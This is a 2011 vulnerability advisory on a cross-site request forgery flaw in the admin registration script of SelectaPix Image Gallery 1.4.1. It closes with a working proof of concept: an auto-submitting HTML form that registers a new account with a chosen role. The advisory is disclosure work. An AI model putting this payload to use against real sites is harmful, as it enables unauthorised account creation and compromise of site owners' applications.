HTB22963: CSRF (Cross-Site Request Forgery) in SelectaPix Image Gallery

2011-05-03T00:00:00
ID SECURITYVULNS:DOC:26290
Type securityvulns
Reporter Securityvulns
Modified 2011-05-03T00:00:00

Description

Vulnerability ID: HTB22963 Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_selectapix_image_gallery.html Product: SelectaPix Image Gallery Vendor: http://www.outofthetrees.co.uk/ ( http://www.outofthetrees.co.uk/ ) Vulnerable Version: 1.4.1 Vendor Notification: 19 April 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details: The vulnerability exists due to failure in the "/admin/register_new.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://[host]/admin/register_new.php" method="post" name="main" id="main"> <input type="hidden" name="email" value="test@test.com"> <input type="hidden" name="username" value="test"> <input type="hidden" name="passwd" value="123456"> <input type="hidden" name="passwd2" value="123456"> <input type="hidden" name="RoleID" value="4"> <input type="submit" id="btn"> </form> <script> document.getElementById('btn').click(); </script>